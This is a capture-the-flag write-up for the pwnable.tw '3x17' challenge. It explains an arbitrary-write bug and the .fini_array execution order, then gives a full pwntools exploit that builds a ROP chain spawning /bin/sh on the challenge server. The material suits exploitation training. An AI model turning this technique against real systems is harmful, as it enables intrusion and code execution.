Challenge 5. 3x17 (pwnable.tw)

❯ file 3x17
3x17: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=a9f43736cc372b3d1682efa57f19a4d5c70e41d3, stripped
❯ checksec 3x17
[*] '/root/Share/pwnable.tw/5.3x17/3x17'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Find the exploitable program segment:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  char *v4; // [rsp+8h] [rbp-28h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  result = (unsigned __int8)++byte_4B9330;
  if ( byte_4B9330 == 1 )
  {
    write(1u, "addr:", 5uLL);
    read(0, buf, 0x18uLL);
    v4 = (char *)(int)strtol((__int64)buf);
    write(1u, "data:", 5uLL);
    read(0, v4, 0x18uLL);
    result = 0;
  }
  if ( __readfsqword(0x28u) != v6 )
    canary();
  return result;
}

Dynamically debug to figure out what strtol function does.
strtol func: input 100 → 0x64(number)

After we put this binary file into IDA pro or Ghidra, we found that the file is stripped. Symbolic names are missing.
So, we write a simple hello world program under the same environment of this elf file, and explore symbolic names in some system calls like _start.

.text:0000000000401A50                               public start
.text:0000000000401A50                               start proc near                         ; DATA XREF: LOAD:0000000000400018↑o
.text:0000000000401A50                               ; __unwind {
.text:0000000000401A50 31 ED                         xor     ebp, ebp
.text:0000000000401A52 49 89 D1                      mov     r9, rdx
.text:0000000000401A55 5E                            pop     rsi
.text:0000000000401A56 48 89 E2                      mov     rdx, rsp
.text:0000000000401A59 48 83 E4 F0                   and     rsp, 0FFFFFFFFFFFFFFF0h
.text:0000000000401A5D 50                            push    rax
.text:0000000000401A5E 54                            push    rsp
.text:0000000000401A5F 49 C7 C0 60 29 40 00          mov     r8, offset sub_402960
.text:0000000000401A66 48 C7 C1 D0 28 40 00          mov     rcx, offset sub_4028D0
.text:0000000000401A6D 48 C7 C7 6D 1B 40 00          mov     rdi, offset sub_401B6D
.text:0000000000401A74                               db      67h
.text:0000000000401A74 67 E8 36 04 00 00             call    sub_401EB0
.text:0000000000401A74
.text:0000000000401A7A F4                            hlt
.text:0000000000401A7A                               ; } // starts at 401A50
objdump -M intel -d temp_bin

0000000000001060 <_start>:                                                                                                                                                                    [0/137]
    1060:       f3 0f 1e fa             endbr64
    1064:       31 ed                   xor    ebp,ebp
    1066:       49 89 d1                mov    r9,rdx
    1069:       5e                      pop    rsi
    106a:       48 89 e2                mov    rdx,rsp
    106d:       48 83 e4 f0             and    rsp,0xfffffffffffffff0
    1071:       50                      push   rax
    1072:       54                      push   rsp
    1073:       4c 8d 05 66 01 00 00    lea    r8,[rip+0x166]        # 11e0 <__libc_csu_fini>
    107a:       48 8d 0d ef 00 00 00    lea    rcx,[rip+0xef]        # 1170 <__libc_csu_init>
    1081:       48 8d 3d c1 00 00 00    lea    rdi,[rip+0xc1]        # 1149 <main>
    1088:       ff 15 52 2f 00 00       call   QWORD PTR [rip+0x2f52]        # 3fe0 <__libc_start_main@GLIBC_2.2.5>
    108e:       f4                      hlt
    108f:       90                      nop

Check the file's segment table:

It is known as the execution flow is as follows:

.init
.init_array[0]
.init_array[1]
…
.init_array[n]
main
.fini_array[n]
…
.fini_array[1]
.fini_array[0]
.fini

Deep into __libc_csu_fini

0x00402960 push    rbp
0x00402961 lea     rax, section..data.rel.ro ; 0x4b4100
0x00402968 lea     rbp, section..fini_array ; 0x4b40f0
0x0040296f push    rbx
0x00402970 sub     rax, rbp
0x00402973 sub     rsp, 8
0x00402977 sar     rax, 3
0x0040297b je      0x402996
0x0040297d lea     rbx, [rax - 1]
0x00402981 nop     dword [rax]
0x00402988 call    qword [rbp + rbx*8]
0x0040298c sub     rbx, 1
0x00402990 cmp     rbx, 0xffffffffffffffff
0x00402994 jne     0x402988
0x00402996 add     rsp, 8
0x0040299a pop     rbx
0x0040299b pop     rbp
0x0040299c jmp     section..fini
0x004029a1 nop     word cs:[rax + rax]
0x004029ab nop     dword [rax + rax]

In this funciton, rbp is set to 0x4b40f0. So, we can use leave instruction to shift stack frame, and write data into any memory frequently in order to fill our ROP chain.

leave:
mov rsp, rbp
pop rbp

Payload:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# author: eclipse

from pwn import *

# ! Configuration
REMOTE = 1
binfile = './3x17'
ip, port = 'chall.pwnable.tw', 10105
context(os='linux', arch='amd64', log_level='debug')
# ! Initialization
def conn():
    if REMOTE == 1: io = remote(ip, port)
    else: io = process(binfile)
    return io

# ! Exploitation
def pwn():
    def write(addr, data):
        io.sendafter('addr:', str(addr))
        io.sendafter('data:',     data)

    io, elf = conn(), ELF(binfile)
    main_addr     = 0x401B6D
    fini_arr      = 0x4B40F0
    libc_csu_fini = 0x402960
    rop_chain     = 0x4B4100
    ret           = 0x401016
    leave_ret     = 0x401C4B

    pop_rax_ret   = 0x41E4AF
    pop_rdi_ret   = 0x401696
    pop_rsi_ret   = 0x406C30
    pop_rdx_ret   = 0x446E35
    bin_sh        = 0x4B9600
    syscall_ret   = 0x471DB5

    # Loop program
    write(fini_arr, p64(libc_csu_fini) + p64(main_addr))
    # ROP: syscall('/bin/sh', 0, 0) eax=0x3b
    write(bin_sh, b'/bin/sh\x00')
    write(rop_chain,    p64(pop_rax_ret))
    write(rop_chain+8,  p64(0x3b))
    write(rop_chain+16, p64(pop_rdi_ret) + p64(bin_sh))
    write(rop_chain+32, p64(pop_rsi_ret) + p64(0))
    write(rop_chain+48, p64(pop_rdx_ret) + p64(0))
    write(rop_chain+64, p64(syscall_ret))
    # Enter rop
    write(fini_arr, p64(leave_ret) + p64(ret))
    io.interactive()

if __name__ == "__main__":
    pwn()